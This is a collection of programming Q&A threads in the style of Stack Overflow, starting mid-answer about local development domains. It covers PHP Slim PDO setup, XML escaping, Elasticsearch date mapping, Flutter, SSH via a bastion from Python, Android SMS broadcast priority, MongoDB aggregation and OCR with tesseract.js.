A: I think it's a matter of taste, my thoughts on it - .local is non-existing TLD, and it is a common practice to use .local for local resources. If your dev/test sites don't need to be globally accessible, it seems OK to use it, but if you ever want to show this site to someone from outside, he will not be able to reach it. Unlike .local, .test is a non-existent TLD which nobody uses so far, but one day it may be assigned and your .test sites will conflict with other sites, I'd never use it.
While site.com is your domain, you are free to define any subdomains inside it, and decide which subdomains you want to publish on a globally-accessible DNS server etc..
Personally, I prefer prefixes.


text:
Q: Como usar PDO no slimfamework 4? Alguém poderia me dizer como eu instancio o PDO em um arquivo no slim framework usando o app->get?
fiz na configuração no arquivo settings e no dependencies porem não sei como chamar a conexão em outro arquivo para fazer um select por exemplo.
use DI\ContainerBuilder;
use Psr\Container\ContainerInterface;

return function (ContainerBuilder $containerBuilder) {
    $containerBuilder->addDefinitions([
        PDO::class => function (ContainerInterface $c) {
            $dbSettings = $c->get('settings')['db1'];
            $dsn = 'mysql:host=' . $dbSettings['host'] . ';dbname=' . $dbSettings['dbname'];
            $options = [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false,
            ];
            return new PDO($dsn, $dbSettings['user'], $dbSettings['pass'], $options);
        },
    ]);
};

A: Opa,
Como você configurou o DependencyInjection, basta chamar no construtor da sua Action
public function __construct(\PDO $pdo)
{
    // sua lógica aqui
}

Faltou também na sua configuração a barra antes do PDO => \PDO, fica assim:
\PDO::class => function (ContainerInterface $c)


text:
Q: use & symbol in URL Link in .XML I'm trying to use a URL in xml that includes a & symbol. Any ideas?
> <data> <event   start="Nov 25 2012 12:00AM"  end="Dec 31 2012 12:00AM"
> link="getfile.php?table=dbo_MPD_Library_Active
> filename=CompStat-**&**Holiday Presence
> Presentation.pdf**&**field=file key1=2"    title="2012 Holiday
> presents"></event> </data>

if i remove the & symbols and leave spaces the url goes to a blank page
thanks!

A: & indicates the start of a character or entity reference in XML. If you want an ampersand as data, you must use a character or entity reference to represent it: &.


text:
Q: Elasticsearch don't allow indexing null in date field I have bellow data to index:
array:6 [▼
  "index" => "my_index"
  "type" => "audit_field"
  "id" => "57f36d28a1dfc"
  "parent" => "57f36d289f1b2"
  "routing" => 318
  "body" => array:19 [▼
     "session_id" => 318
     "trans_seq_no" => 13
     "table_seq_no" => 13
     "field_id" => 65
     "field_name" => "id"
     "new_value" => 45
     "old_value" => 45
     "date_type_new_value" => null
     "date_type_old_value" => null
     "time_type_new_value" => null
     "time_type_old_value" => null
 ]
]

I have defined mapping myself as bellow
array(
    'index' => 'promote_kmp',
    'type' => 'audit_field',
    'body' => [
        'audit_field' => [
            '_source' => [
                'type' => 'string'
            ],
            "_parent" => [
                "type" => "audit_table"
            ],
            'properties' => [
                'session_id'   => array('type' =>  'string'),
                'trans_seq_no' => array('type' =>  'string'),
                'table_seq_no' => array('type' =>  'string'),
                'field_id'     => array('type' =>  'string'),
                'field_name'   => array('type' => 'string'),
                'old_value'    => array(
                    'type' => 'string'
                ),
                'new_value'    => array(
                    'type' => 'string'
                ),
                'date_type_new_value' => array(
                    'type'   => 'date',
                    'format' =>'YYYY-MM-dd HH:mm:ss||YYYY-MM-dd||MM/dd/yyyy||yyyy/MM/dd'
                ),
                'date_type_old_value' => array(
                    'type'   => 'date',
                    'format' =>'YYYY-MM-dd HH:mm:ss||YYYY-MM-dd||MM/dd/yyyy||yyyy/MM/dd'
                ),
                'time_type_new_value' => array(
                    'type'   => 'date',
                    'format' => 'HH:mm:ss'
                ),
                'time_type_old_value' => array(
                    'type'   => 'date',
                    'format' => 'HH:mm:ss'
                )
            ]
        ]
    ]
);

But when i wan to index data with null in date field, elasticsearch shows and exception that can't parse date field value with mapping date format types.
How to solve this, i have also tried with empty, but not working, and give the same message.
MapperParsingException[failed to parse [date_type_new_value]]; nested:
MapperParsingException[failed to parse date field [], tried both date format
[YYYY-MM-dd HH:mm:ss||YYYY-MM-dd||MM/dd/yyyy||yyyy/MM/dd], and timestamp
number with locale []]; nested: IllegalArgumentException[Invalid format: ""];

A: With ES 7, you have the option of specifying null_value as a field property. Null values cannot be searched, however.
See the manual page on null-values for null_value configuration and the manual page on dates for the Date datatype.

A: I am not sure why null is not working, I can index null value in ES 1.7, also IllegalArgumentException[Invalid format: ""]; indicates blank string and not null value.
If you don't have control over the data, you need to use ignore_malformed which will not index the date field but index the document normally.


text:
Q: Ionic 4, ion-slides vertical scrolling not working I have a component inside of ion-slide and its is the scroll not working
here is my code :

      {{tab}}

<ion-slide style="height:100%">

</ion-slide>

<ion-slide>

Page 2

</ion-slide>

A: Please try this:
.swiper-slide {
    overflow-y: scroll;
    display: block;
}

https://forum.ionicframework.com/t/ionic-scroll-within-ionic-slide-not-working/47099/7

A: Please try following code:
.html
<ion-slides [options]="slideOpts"
                pager="true">
      <ion-slide>
        <ion-list>
          <ion-item>

Some title1

          </ion-item>
          <ion-item>

Some title2

          </ion-item>
          <ion-item>

Some title3

          </ion-item>
          <ion-item>

Some title4

          </ion-item>
          <ion-item>

Some title5

          </ion-item>
          <ion-item>

Some title45

          </ion-item>
          <ion-item>

Some title46

          </ion-item>
        </ion-list>
      </ion-slide>

      <ion-slide>
        <ion-list>
          <ion-item>

Some title1

          </ion-item>
          <ion-item>

Some title2

          </ion-item>
          <ion-item>

Some title3

          </ion-item>
          <ion-item>

Some title4

          </ion-item>
          <ion-item>

Some title5

          </ion-item>
          <ion-item>

Some title45

          </ion-item>
          <ion-item>

Some title46

          </ion-item>
          <ion-item>

Some title1

          </ion-item>
          <ion-item>

Some title2

          </ion-item>
          <ion-item>

Some title3

          </ion-item>
          <ion-item>

Some title4

          </ion-item>
          <ion-item>

Some title5

          </ion-item>
          <ion-item>

Some title45

          </ion-item>
          <ion-item>

Some title46

          </ion-item>
        </ion-list>
      </ion-slide>
    </ion-slides>

.ts
  slideOpts = {
      initialSlide: 0,
      speed: 500
  };

.scss
For vertical scrolling
ion-slides{
  overflow-y: scroll;
}

For horizontal scrolling
ion-slides{
  overflow-x: scroll;
}


text:
Q: Replace the value in xml using Chef I am using xml_edit to change the value of xml. This is not working with below scenario.
I want to change the title of Atwood, Margaret author in Second Bookshelf in below xml:
    <?xml version="1.0"?>
<bookshelf>
   <Name>First Bookshelf</Name>
   <book>
      <author>Conway, Damien</author>
      <title>Perl Best Practices</title>
   </book>
   <book>
      <author>Atwood, Margaret</author>
      <title>Perl Best Practices</title>
   </book>
</bookshelf>
<bookshelf>
   <Name>Second Bookshelf</Name>
   <book>
      <author>Conway, Damien</author>
      <title>Perl Best Practices</title>
   </book>
   <book>
      <author>Atwood, Margaret</author>
      <title>Perl Best Practices</title>
   </book>
</bookshelf>

I am trying to use below recipe. I do't know, how could I verify the Name and auther of second bookshelf.
xml_edit 'change title' do
    path 'C:\\testing\\text.xml'
    target '/bookshelf/book/title[text()=\'Perl Best Practices\']'
    fragment '<title>Hello World</title>'
    action :replace

end

A: It looks like your xml is not valid
It should look like:
<?xml version="1.0"?>
<shelves>
<bookshelf>
    <Name>First Bookshelf</Name>
    <book>
        <author>Conway, Damien</author>
        <title>Perl Best Practices</title>
    </book>
    <book>
        <author>Atwood, Margaret</author>
        <title>Perl Best Practices</title>
    </book>
</bookshelf>
<bookshelf>
    <Name>Second Bookshelf</Name>
    <book>
        <author>Conway, Damien</author>
        <title>Perl Best Practices</title>
    </book>
    <book>
        <author>Atwood, Margaret</author>
        <title>Perl Best Practices</title>
    </book>
</bookshelf>
</shelves>

With that in mind you can do:
xml_edit 'change title' do
    path 'C:\\testing\\text.xml'
    target '/shelves/bookshelf[Name[text()=\'Second Bookshelf\']]/book[author[text()=\'Atwood, Margaret\']]/title'
    fragment '<title>Hello World</title>'
    action :replace
end


text:
Q: Data extraction from XML with Python I am struggling with the extraction of specific data from XML. Unfortunately, I have no experience with programming at all. For a whole week, I was trying to solve it on my own without much success.
My XML file is the output of a natural language processing software.
It has the following structure: it gives the confidence of the recognition, the end time of the word's verbalisation, the phonological transcription, the start time and after that the word. I would like to extract the start/end time of certain words. E.g.  end="3249555"   start="3249105"  Verfahren (the processed text is in German).
I know that the ElemetTree is a package that reads the XML file.
I have tried out the following code but without success

and an excerpt from the XML file

I would really appreciate any kind of help.

A: Use:
root.findAll('//*[text()="Verfahren"])

Then find methods to get attributes


text:
Q: dart, flutter - ListView not showing I'm trying to show a ListView but it's not appearing, below is the full code(open the screen with material page route):
pvc_screen.dart:
import 'package:flutter/material.dart';

class PVCScreen extends StatefulWidget {
  @override
  _PVCScreenState createState() => _PVCScreenState();
}

class _PVCScreenState extends State<PVCScreen> {
  List<String> currencyPairs = ['EUR/USD', 'GBP/USD', 'USD/JPY'];
  List<String> currencies = ['USD', 'GBP', 'JPY'];

  String currencyPair = 'EUR/USD';
  String askPrice = '';
  String units = '';
  String accountCurrency = 'USD';
  String result = '';

  double dots;

  @override
  Widget build(BuildContext context) {
    return new Scaffold(
      appBar: new AppBar(
        title: new Text('Pip Value Calculator'),
      ),
      body: ListView(children: <Widget>[
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: ListTile(
            title: new Text('Currency Pair'),
            subtitle: DropdownButton(
              value: currencyPair,
              items: <DropdownMenuItem<String>>[
                DropdownMenuItem(
                  value: currencyPairs[0],
                  child: new Text('${currencyPairs[0]}'),
                ),
                DropdownMenuItem(
                  value: currencyPairs[1],
                  child: new Text('${currencyPairs[1]}'),
                ),
                DropdownMenuItem(
                  value: currencyPairs[2],
                  child: new Text('${currencyPairs[2]}'),
                ),
              ],
              onChanged: (String value) {
                setState(() {
                  currencyPair = value;
                });
              },
            ),
          ),
        ),
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: ListTile(
              title: new Text('Ask Price'),
              subtitle: new TextField(
                controller: TextEditingController(text: '$askPrice'),
                decoration: InputDecoration(hintText: '0'),
                onChanged: (String text) {
                  setState(() {
                    askPrice = text;
                  });
                },
              )),
        ),
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: ListTile(
              title: new Text('Position Size (units)'),
              subtitle: new TextField(
                controller: TextEditingController(text: '$units'),
                decoration: InputDecoration(hintText: '0'),
                onChanged: (String text) {
                  setState(() {
                    units = text;
                  });
                },
              )),
        ),
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: ListTile(
            title: new Text('Account Currency'),
            subtitle: DropdownButton(
              value: accountCurrency,
              items: <DropdownMenuItem<String>>[
                DropdownMenuItem(
                  value: currencies[0],
                  child: new Text('${currencies[0]}'),
                ),
                DropdownMenuItem(
                  value: currencies[1],
                  child: new Text('${currencies[1]}'),
                ),
                DropdownMenuItem(
                  value: currencies[2],
                  child: new Text('${currencies[2]}'),
                ),
              ],
              onChanged: (String value) {
                setState(() {
                  accountCurrency = value;
                });
              },
            ),
          ),
        ),
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: Center(
            child: MaterialButton(
              child: new Text('Calculate'),
              onPressed: () {
                setState(() {
                  dots = currencyPair.split('/')[1] == 'JPY' ? 0.01 : 0.0001;

                  result = (dots.toInt() / int.parse('$askPrice')).toString();
                });
              },
            ),
          ),
        ),
        Padding(
          padding: const EdgeInsets.all(10.0),
          child: Center(
              child: new Text(
            '\$$result',
            style: TextStyle(fontSize: 24.0),
          )),
        ),
      ]),
    );
  }
}

All the code looks valid in my eyes. code is simple PVCScreen is a StatefulWidget. under it's Build override, there is Scaffold which have AppBar and body, body has a ListView with different item ListTiles, now the problem is AppBar is showing(appearing) but body (ListView) is not showing (hidden). i want both AppBar and ListView to be visible.

A: You can't use a TextField as a subtitle in ListTile (with the present implementation).
Issue is Already Open on github:
https://github.com/flutter/flutter/issues/18755


text:
Q: Add or push to Kendo grid datasource causes unexpected behaviour I've got an array that, on its own, produces a grid no problem. I want to add one more row by pushing or adding to the datasource beforehand. Console.log after push shows the new array to be valid, but nothing appears on the Grid. Using add rather than push causes ONLY the new item to be display, while console.log shows all the items. Any ideas what gives?
EDIT: More strangely, I can loop through entries of a given array, extract some text and push that to a new array using ({'text':item[i].text}), but then outside of the loop pushing ({'text':'other text'}) doesn't show up as a row. Ugh.
EDIT #2: I've fixed the issue with the push to new array. Still not clear on certain kendoGrid functionality though, almost seems worth ignoring it altogether and just using kendoListView and utilising templates.


text:
Q: Unable to SSH via Python subprocess I need to ssh into a machine via a bastion. Therefore the command is rather very long for this:
ssh -i  <pemfile location> -A -o 'proxycommand ssh -i <pemfile location> ec2-user@<bastion ip address> -W %h:%p' hadoop@<machine ip>

This command is rather very long. So I tried to write a python script which takes ip addresses and pemfile location as inputs and does ssh.
#!/usr/local/bin/python3
import argparse
import subprocess
import os
import sys
import errno

parser = argparse.ArgumentParser(description="Tool to ssh into EMR via a bastion host")
parser.add_argument('master', type=str, help='IP Address of the EMR master-node')
parser.add_argument('bastion', type=str, help='IP Address of bastion EC2 instance')
parser.add_argument('pemfile', type=str, help='Path to the pemfile')

args = parser.parse_args()

cmd_list = ["ssh", "-i", args.pemfile, "-A", "-o", "'proxycommand ssh -i {} ec2-user@{} -W %h:%p'".format(args.pemfile, args.bastion), "hadoop@{}".format(args.master)]

command = ""

for w in cmd_list:
    command = command + " " + w

print("")
print("Executing command : ", command)
print("")

subprocess.call(cmd_list)

I get the following error when I run this script :
command-line: line 0: Bad configuration option: 'proxycommand

But I am able to run the exact command via bash.
Why is the ssh from python script failing then?

A: You are making the (common) mistake of mixing syntactic quotes with literal quotes. At the command line, the shell removes any quotes before passing the string to the command you are running; you should simply do the same.
cmd_list = ["ssh", "-i", args.pemfile, "-A",
    "-o", "proxycommand ssh -i {} ec2-user@{} -W %h:%p".format(
        args.pemfile, args.bastion), "hadoop@{}".format(args.master)]

See also When to wrap quotes around a shell variable? for a discussion of how quoting works in the shell, and perhaps Actual meaning of 'shell=True' in subprocess as a starting point for the Python side.
However, scripting interactive SSH sessions is going to be brittle; I recommend you look into a proper Python library like Paramiko for this sort of thing.


text:
Q: Trying to accomplish similar functionality of .contains on an array of string using substring I have an array of directory paths:
Directory.GetFiles(uploadPath)

I want to check this array to see if a file exists in one of the file paths. After looking at some of the similar questions on SO, I came up with the below. This would work except it will not match since the file name is a substring of the path in the array. I was trying to avoid a loop.
If Array.IndexOf(Directory.GetFiles(uploadPath), fileName) > -1 Then
    'do some cool coding stuff
    Exit Sub
End If

My other thought was that the GetFiles method has a searchPattern as string parameter, I am guessing I could put a regex there to return the value after the last '\'.
so now i have this which works perfectly:
 If Directory.GetFiles(uploadPath, fileName).Length > 0 Then
     'do some code stuff
      Exit Sub
  End If

A: The searchPattern argument of GetFiles doesn't take a RegEx and it matches only against the filename, so you wouldn't need to do anything really fancy.  Just call GetFiles passing in the directory name to search as the first argument and the filename you are looking for as the second.

A: Rather than all that, have you tried the in-built:
System.IO.Path.GetFileName()

That should give you just the file name right away.
Hope this helps.


text:
Q: Creating Runtime content for ArcGIS 10.0 I was trying to run "hello world" of ArcGIS sdk samples, but my program was showing a blank output b/c. It couldn't connect to ArcGIS online server. So I goggled a way to create and stored my map locally and I found that it was possible by creating Runtime content, but this feature is only available for Arcmap 10.2 and above, but I have arcmap 10.0, so can anybody give me a clue on how to use Arcmap 10.0 or any other technique. Please I need this very much.
I got my resource at
http://resources.arcgis.com/en/help/main/10.2/index.html#//00660000045q000000

A: Creating Runtime content is a new feature in ArcGIS 10.2. You'll need to upgrade to ArcGIS Desktop 10.2.


text:
Q: Enabling SMS support in Hangouts 2.0 breaks the BroadcastReceiver of SMS_RECEIVED in my app I just received the update for Hangouts 2.0, installed it and enabled SMS → Turn on SMS. Now my application, running under Android 4.3, is unable to receive SMS any more, i.e. my BroadcastReceiver for SMS_RECEIVED is no longer called. :-(
As soon as I disable Turn on SMS in Hangouts 2.0, my app is able to receive SMS_RECEIVED intents again.
The Broadcast receiver is registered in the Manifest like this
AndroidManifest.xml
…
<receiver android:name=".SMSReceiver" >
    <intent-filter>
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver>
…

SMSReceiver.java
public class SMSReceiver extends BroadcastReceiver {

    private static final Log LOG = Log.getLog();

    @Override
    public void onReceive(Context context, Intent intent) {
            LOG.d("onReceive");
            …
    }
}

I already tried to change the priority of the receiver to INT_MAX or 999, which is the highest possible priority as of the intent-filter documentation, but without success. I know that SMS_RECEIVED intents are send ordered and that high priority apps have the ability to abort the broadcast.1 But it seems unlikely that Hangouts 2.0 is registering the SMS_RECEIVED receiver with a high priority and calling abortBroadcast(), therefore preventing any other apps from receiving the intent.
What further confused me, is that my Pebble is still able to receive SMS, even with Hangouts 2.0 as default SMS app. I wonder what Pebble does different? I just noticed that the incoming SMS notification on my Pebble are no longer notifications for new SMS that are received by the Pebble app, but instead are "new Hangout message" notifications that are caused by hangouts receiving the incoming SMS. So the Pebble app is also not able to receive incoming text messages with SMS_RECEIVED.
On a side note and not really related to this issue, because I am still on Android 4.3 (but my app targets SDK level 19, Android 4.4 in case it matters) Google's Android Developers Blog post about the new SMS API in Kitkat, said that nothing would change for apps using just SMS_RECEIVED and don't try to write the SMS to the SMS Provider.
1 I always believed that the SMS_RECEIVED broadcast is abortable. But the Android 4.4 APIs site says something different: "…when a new SMS arrives by listening for the SMS_RECEIVED_ACTION broadcast, which is a non-abortable broadcast…"

A: According to the most recent Google Hangouts Manifest, they have an AbortSmsReceiver set with a priority of "3" - so it seems that any app that wants to receive the SMS_RECEIVED broadcast on API 18 or lower should use a priority higher than 3:
<receiver android:name="com.google.android.apps.babel.sms.AbortSmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:enabled="false">
    <intent-filter android:priority="3">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver>

You can use a build target of API 19. Apps on a device running API 19 (KitKat) will not be able to abort the broadcast as in prior API's. This prevents apps from performing a premature abort.
I assume they included this abort to prevent stock messaging apps from posting duplicate notifications. Stock messaging apps should process at priority 0 prior to KitKat - but any application that does not set a priority is processed at 0 also. IntentFilter objects are created with a default priority value of "0":
public IntentFilter() {
        mPriority = 0;
        mActions = new ArrayList<String>();
}

A: I can still get the broadcast fine. Just installed the new hangouts and enabled SMS. In my case, I am just reading the SMS contents and that continues to work. What I have done, though, was to set the priority of the intent-filter to 999 following a previous thread here:
<intent-filter android:priority="999" >
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>

Maybe that is playing a role?
UPDATE:
Just read that you changed your target to SDK level 19. In that case, I read that you have to change how your app behaves (can't find the link now) following API 19 guidelines. Change your target back to 18 and it should work just fine.

A: Fixed it.
The first problem was that, as you can see in revision 2 of my question, I put the priority attribute within the action element, when it actually belongs into the intent-filter element. So the priority didn't work.
While still targeting API 19, I did some experiences with Hangouts SMS enabled and different priorities.

*

*No priority set → BroadcastReceiver doesn't receive SMS_RECEIVED intent

*Priority 500 → BroadcastReceiver does receive SMS_RECEIVED intent

*Priority 9991 → BroadcastReceiver does receive SMS_RECEIVED intent

So it seems that you need to have a minimum value for priority in order to get the intent with Hangouts SMS enabled. I didn't bother to bisect the lowest possible value. ;) I am going with 999 as I don't see any reason to get lower because my app does just some quick checks on the received sms and does not further process it. But  it should really make a difference, as the broadcast is non-abortable.
1The maximum value

A: I'm having the same issue.  I'm targeting sdk 17, and I'm still unable to get the broadcast if Hangouts is enabled to handle SMS.  Who knows how many applications Hangouts just broke in the market.
I'll try tweaking the priority and see if that helps.
[edit]
Yup, the priority fixed it for me on target sdk 17. thanks!

A: When you register receiver, set priority of filter to INTEGER.MAX_VALUE. Now abortBroadcast() will work;
receiver = new HightPrioritySmsReceiver();
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
filter.setPriority(Integer.MAX_VALUE);
registerReceiver(receiver, filter);


text:
Q: SQL or Pandas: Join/Pivot information from two tables I have three relational postgres tables (timescale hypertables) and need to get my data into a CSV file, but I am struggling to get it to the format I want. I am using django as frameworks, but I need to solve this with raw SQL.
Imagine I have 2 tables: drinks and consumption_data.
The drinks table looks like this:
 name    | fieldx | fieldy
---------+--------+------
 test-0  |        |
 test-1  |        |
 test-2  |        |

The consumption_data table looks like this:
          time          | drink_id    |  consumption
------------------------+-------------+------------------------------
 2018-12-15 00:00:00+00 |           2 |                          123
 2018-12-15 00:01:00+00 |           2 |                          122
 2018-12-15 00:02:00+00 |           2 |                          125

My target table should join these two tables and give me all consumption data with the drink names back.
          time          | test-0      |  test-1 | test-2
------------------------+-------------+---------+-------
 2018-12-15 00:00:00+00 |         123 |  123    |  22
 2018-12-15 00:01:00+00 |         334 |  122    |  32
 2018-12-15 00:02:00+00 |         204 |  125    |  24

I do have all the drink-ids and all the names, but those are hundreds or thousands.
I tried this by first querying the consumption data for a single drink and renaming the column: SELECT time, drink_id, "consumption" AS test-0 FROM heatflowweb_timeseriestestperformance WHERE drink_id = 1;
Result:
          time          | test-0      |
------------------------+-------------+
 2018-12-15 00:00:00+00 |         123 |
 2018-12-15 00:01:00+00 |         334 |
 2018-12-15 00:02:00+00 |         204 |

But now, I would have to add hundreds of columns and I am not sure how to do this. With UNION? But I don't want to write thousands of union statements...
Maybe there is an easier way to achieve what I want? I am not an SQL expert, so what I need could be super easy to achieve or also impossible... Thanks in advance for any help, really appreciated.


text:
Q: What's wrong with my logic in my adder-subtractor? I'm trying to create an adder-subtracter using only one adder, not gate, and multiplexer. When A = 1000, B = 0001 it results in Q = 0111. If my math is right, that is 8 +(-1) = 7 and 7 = 0111 which is indeed what Q outputs. Now, if I try to switch the values in my circuit as I do in the circuit below I get Q = 1001. Going over my math again A = 1, B = 8 so 1+(-8) = -7 and -7 = 1111 which does not equal the Q output. I'm really confused as to where I went wrong here.

A:
-7 = 1111

In 4-bit two's complement, -7 would be found by inverting 0111 to get 1000. Then add 1 to get 1001.
So 1001  is indeed the representation of -7 in your system.
1111 is the representation of -7 in 4-bit sign-magnitude so that might be where you got mixed up.


text:
Q: Retrieve server IP address using gethostbyname() I'm trying to retrieve the server IP address using gethostbyname(required from me)
here is the part of the client application for connecting to the server
        struct hostent *SN =  gethostbyname(argv[1]);

        struct sockaddr_in server_addr;
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(portNum);
        server_addr.sin_addr.s_addr = htonl(*SN->h_addr); //I have a doubt about this line

        int serverfd=0;
        serverfd = connect(SocketD, (struct sockaddr*) &server_addr,
        sizeof(server_addr));

where argv[1] is the name of the server, currently localhost.
I tried also this line of code
server_addr.sin_addr = *(struct in_addr*)SN->h_addr;

Could anyone please tell me what is wrong with my code?


text:
Q: GCF deploy with local dependency Let's say we have a code structure like this:
v1/
---api/
------pets/
---------create/
------------server.go
------------cmd/
---------------main.go
------------go.mod
------------go.sum
------------.gcloudignore
------------vendor/
---------get/
---------update/
---------delete/
------food/
---------create/
---------get/
---pkg/
------constants/
---------constants.go
------model/
---------pet.go
---------food.go
------store/
---------firestore.go
------validate/
---------header.go
------go.mod
------go.sum

every CRUD function directory (pets/get, food/create, etc) is the same structure as pets/create, so they all contain: server.go, cmd/main.go for testing, go.mod, go.sum, .gcloudignore and vendor/ of v1/pkg
v1/api/pets/create/go.mod contains:
module bitbucket.org/company/project/v1/api/pets/create

go 1.14

replace bitbucket.org/company/project/v1/pkg => ../../../pkg

require (
    bitbucket.org/company/project/v1/pkg v0.0.0-00010101000000-000000000000
    github.com/GoogleCloudPlatform/functions-framework-go v1.1.0
)

v1/api/pets/create/server.go contains method that will be deployed to GCF
.gcloudignore contains go.mod and go.sum to ignore them while deploying
v1/pkg is vendored into every CRUD function/directory just like v1/api/pets/create
PROBLEM:
project is huge on production app, it contains (of course) much more methods with much more code, everything lags because those vendor dirs are ~4MB
How do I include v1/pkg into each of these CRUD folders? What is the easiest method you guys use?
WHAT WE TRIED:

*

*using private repo instead of local path -> not working while deploying

*using functions.go in root, with all functions defined there -> whole source code is uploaded for each function, we don't want that obviously

*using code from /pkg to each function separately (c/p) which is not maintainable and doesn't make any sense to do

*How can I use a sub-packages with Go on Google Cloud Functions? -> this is not our use case, "helperpackage" should be somewhere upper in the tree

A: There is no magic things that you can do. Something like your second try is the best one, but without using a function.go at the root directory
gcloud functions deploy --source=v1/api/pets/create <function_name> --trigger-http --runtime=go113 --entry-point=<method-name>

Uploading the whole project isn't a real problem because, in Go, only the compiled binary is kept and all the source files are trashed. So, no extra file will stay beside the binary.
However, if you really want to limit the uploaded code, you can use the --ignore-file= parameter


text:
Q: connect to a database using vbscript in UFT I am trying to connect to database using a test account for running my automation
 connStr.open "provider=SQLOLEDB;Server=SEACITMFGCM11.itlab.local;User Id=" & userName & "; Password=******; Database=MfgDb;Trusted_Connection=Yes"

my username and this test account has access to database, so i was able to connect without any issues. But my collegue who doesn't have access to database try to run my automation and this connstr.open is still using windows authentication user to login and failing.
In the watch i saw the connection string as
Provider=SQLOLEDB.1;User ID=OLYMPUS\ITQAAUTOTEST01;Use Procedure for Prepare=1;Auto Translate=True;Packet Size=4096;Workstation ID=SEA-L-00020821;Use Encryption for Data=False;Tag with column collation when possible=False;"

I don't see the password in the connection string.
How can i make the code to connect to the database using my test account OLYMPUS\ITQAAUTOTEST01 and not my account
Can someone please help?

A: "Trusted_Connection=Yes" in your connection string is telling it to use the credentials of the currently logged in user, ignoring the username and password you specified in the connection string. Remove the "Trusted_Connection=Yes".


text:
Q: MongoDB - Find duplicated elements in record property I'm struggling to identified duplicated elements in my MongoDB records, here is my problem :
I have a Mongo collection named "elements".
Example of a record in this collection :
{
    "_id" : ObjectId("5d1b2204e851271e80c824b6"),
    "name" : "A",
    "items" : [
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d7"),
            "_id" : ObjectId("5d1b2205e851271e80c82534")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d6"),
            "_id" : ObjectId("5d1b2205e851271e80c82533")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d8"),
            "_id" : ObjectId("5d1b2205e851271e80c82532")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826a5")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826ad")
        }
    ]
}

I would like to identify records where the array "items" contains objects with the same "ref_id".
In my example we can see that the last two objects of the "items" array have the same "ref_id" : ObjectId("5d1b2204e851271e80c823d5").
I tried a bunch of aggregate function but unfortunately couldn't came out with a solution.

A: The following query can get us the expected output:
db.elements.aggregate([
    {
        $unwind:"$items"
    },
    {
        $group:{
            "_id":"$_id",
            "root":{
                $first:"$$ROOT"
            },
            "items":{
                $push:"$items"
            },
            "distinctItems":{
                $addToSet: "$items.ref_id"
            }
        }
    },
    {
        $match:{
            $expr:{
                $ne:[
                    {
                        $size:"$items"
                    },
                    {
                        $size:"$distinctItems"
                    }
                ]
            }
        }
    },
    {
        $addFields:{
            "root.items":"$items"
        }
    },
    {
        $replaceRoot:{
            "newRoot":"$root"
        }
    }
]).pretty()

Data set:
{
    "_id" : ObjectId("5d1b2204e851271e80c824b6"),
    "name" : "A",
    "items" : [
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d7"),
            "_id" : ObjectId("5d1b2205e851271e80c82534")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d6"),
            "_id" : ObjectId("5d1b2205e851271e80c82533")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d8"),
            "_id" : ObjectId("5d1b2205e851271e80c82532")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826a5")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826ad")
        }
    ]
}
{
    "_id" : ObjectId("5d654b9d7d0ab652c42315f2"),
    "name" : "B",
    "items" : [
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d7"),
            "_id" : ObjectId("5d1b2205e851271e80c82534")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d6"),
            "_id" : ObjectId("5d1b2205e851271e80c82533")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d8"),
            "_id" : ObjectId("5d1b2205e851271e80c82532")
        }
    ]
}

Output:
{
    "_id" : ObjectId("5d1b2204e851271e80c824b6"),
    "name" : "A",
    "items" : [
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d7"),
            "_id" : ObjectId("5d1b2205e851271e80c82534")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d6"),
            "_id" : ObjectId("5d1b2205e851271e80c82533")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d8"),
            "_id" : ObjectId("5d1b2205e851271e80c82532")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826a5")
        },
        {
            "ref_id" : ObjectId("5d1b2204e851271e80c823d5"),
            "_id" : ObjectId("5d1b3048e851271e80c826ad")
        }
    ]
}

Explanation: We are populating an array of distinct ref_id from each document and matching if the size of the populated array is equal to the size of actual items array.


text:
Q: tesseractjs is returning weird result and extra characters currently i'm trying to extract text from Instagram story using tesseractjs. But some image gave me weird result.

and i got this result

here is my nodejs code
const { createWorker } = require('tesseract.js');
const worker = createWorker();

async function test() {
    await worker.load();
    await worker.loadLanguage('eng');
    await worker.initialize('eng');
    const { data: { text } } = await worker.recognize('https://i.stack.imgur.com/O5VX0.jpg');
    console.log(text);

  await worker.terminate();
}

test();

Did anyone know why its returning extra and weird character?
Any help is greatly appreciated.
Thanks

A: Tesseract.js works much better with simple text, typical light-colored background text and dark text or vice versa.
